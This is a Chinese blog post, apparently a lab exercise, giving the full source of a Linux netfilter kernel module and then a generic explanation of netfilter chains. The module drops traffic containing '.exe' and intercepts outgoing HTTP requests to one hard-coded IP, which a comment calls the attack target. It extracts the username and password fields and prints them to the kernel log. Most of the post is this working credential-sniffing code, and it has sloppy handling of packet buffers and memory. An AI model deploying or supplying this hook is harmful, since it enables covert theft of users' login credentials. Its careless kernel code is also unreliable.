netfilter实现包过滤

如果运行成功,会发生如下现象:1.无法下载“.exe”文件;2.通过命令 dmesg 可以查看到自己在网页端登录时输入的账号和密码

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/skbuff.h>
#include <linux/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/icmp.h>
#include <linux/netdevice.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/inet.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("CHUANGUO");

//如果要注册一个钩子函数,必须先申明一个nf_hook_ops结构体
static struct nf_hook_ops nfho;

//要截图用户名密码的ip——202.38.64.8   CA264008
static unsigned char *filter_ip = "\xca\x26\x40\x08";


static char *username = NULL;//用于输出用户名
static char *password = NULL;//用于输出密码

//功能:如果本机发出的数据包中携带有用户名和密码,那么截获并打印
void get_password(struct sk_buff *skb){
	struct tcphdr *tcp;
	char *data;
	char *name;
	char *passwd;
	char *_and;//用于定位 “;” 和 “&” 的位置
	int len = 0;
	int i = 0;
   
	tcp=tcp_hdr(skb);
    //tcp->doff为tcp头部长度,从tcp的起始位置,跳过头部长度,即tcp报文的payload
	data = (char *)((unsigned long)tcp + (unsigned long)(tcp->doff * 4));
    // printk("TCP头部和有效载荷为: %s\n", data);
    // return ;
    //过滤用户名,密码之前,先判断有效数据中有无相关参数字段
	if (strstr(data, "uid") != NULL && strstr(data, "password") != NULL) {
        
        //check_connection = strstr(data,"Connection");
        
        name = strstr(data,"uid=");
        _and = strstr(name,";");//找到紧跟用户名的分号的位置
        name += 4;//跳过“uid=”部分,就是要捕获的用户名
        len = _and - name;//用户名的长度
        if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL)
            return;
        memset(username, 0x00, len + 2);
        for (i = 0; i < len; ++i)
        memcpy(username, name, len);
        *(username + len) = '\0';
        
        passwd = strstr(name,"password=");
        _and = strstr(passwd,"&");
        passwd += 9;//跳过“password”部分,就是要捕获的用户名
        len = _and - passwd;//密码的长度
        if ((password = kmalloc(len + 2, GFP_KERNEL)) == NULL)
            return;
        memset(password, 0x00, len + 2);
        for (i = 0; i < len; ++i)
        memcpy(password, passwd, len);
        *(password + len) = '\0';
	printk("Username: %s\nPassword: %s\n", username, password);

      
    } 
}


/* 钩子对应的处理函数,返回值必须是以下的某一个
*NF_DROP 丢弃数据包
*NF_ACCEPT 保留该数据包
*NF_STOLEN 忘记该数据包(但不丢弃)
*NF_QUEUE 将该数据包插入用户空间
*NF_REPEAT 再次调用该hook函数
*/
unsigned int hook_func(void *priv,
                       struct sk_buff *skb,
                       const struct nf_hook_state *state){
	struct sk_buff *sb = skb;
	struct tcphdr *tcp;
    char * data;
    //如果不是tcp连接,放行
	if (ip_hdr(sb)->protocol != IPPROTO_TCP){
        return NF_ACCEPT;
    }
	tcp = (struct tcphdr *)((sb->data) + (ip_hdr(sb)->ihl * 4));//sb->data即IP头部开始的位置,加上IP头部的长度可以定位tcp的头部位置


    //如果tcp的有效载荷中包含字符串“.exe”,丢弃数据包
    data = (char *)((unsigned long)tcp + (unsigned long)(tcp->doff * 4));
    if(strstr(data, ".exe") != NULL){
        return NF_DROP;
    }

	 //判断要访问的是不是http80端口
	if (tcp->dest != htons(80)){
        return NF_ACCEPT;
    }
	
    //如果满足以上条件,并且数据包的目标ip是想要攻击的目标,执行get_password
	if(ip_hdr(sb)->daddr == *(unsigned int *)filter_ip){
        get_password(sb);
        return NF_ACCEPT;
    }
   
	return NF_ACCEPT;
}


static __init int init_HTTP(void){
        //对结构体nfho的各个属性赋值
        nfho.hook = hook_func; //处理函数的指针
        nfho.hooknum = NF_INET_POST_ROUTING;//调用钩子的时机
        nfho.pf = PF_INET;//该钩子属于哪个协议族
        nfho.priority = NF_IP_PRI_FIRST;//优先级,越小优先级越高

        nf_register_net_hook(&init_net,&nfho);//将自己定义的钩子注册到内核中
        return 0;

}

static __exit void cleanup_HTTP(void){
        nf_unregister_net_hook(&init_net,&nfho);//将自己定义的钩子从内核中删除
}

module_init(init_HTTP);//entry,向内核插入模块要执行的操作
module_exit(cleanup_HTTP);//exit,从内核删除模块要执行的操作

 

  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Netfilter 是 Linux 内核的一个重要组成部分,用于对网络数据包进行过滤和修改。Netfilter过滤过程主要括以下几个步骤: 1. 链选取:Netfilter 中有五个预定义链(INPUT、FORWARD、OUTPUT、PREROUTING、POSTROUTING),在每个链中可以定义多个规则,用于过滤和修改数据包。在数据包到达 Linux 系统后,根据数据包的目的地址和端口号等信息,选择对应的链进行处理。 2. 匹配规则:在选定的链中,按照顺序逐个匹配规则。每个规则括多个匹配条件,例如源/目的 IP 地址、协议类型、端口号等等。如果数据包符合规则中的所有条件,则继续执行下一步,否则跳过该规则。 3. 执行动作:当数据包通过某个规则后,可以执行一些动作,例如 DROP(丢弃数据包)、ACCEPT(接受数据包)、REJECT(拒绝数据包并发送 ICMP 错误信息)等等。如果没有匹配到任何规则,则默认执行 ACCEPT 操作。 4. NAT 转换:在进行完上述步骤后,如果该数据包需要进行 NAT 转换(例如将内部 IP 地址转换为外部 IP 地址),则进行 NAT 转换操作。NAT 转换可以在 PREROUTING、OUTPUT、POSTROUTING 三个链中进行。 5. 发送数据包:最后将数据包发送到目的地址。 总的来说,Netfilter 过滤过程基于链、规则和动作,通过匹配规则和执行动作,对网络数据包进行过滤和修改,同时也支持 NAT 转换功能。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值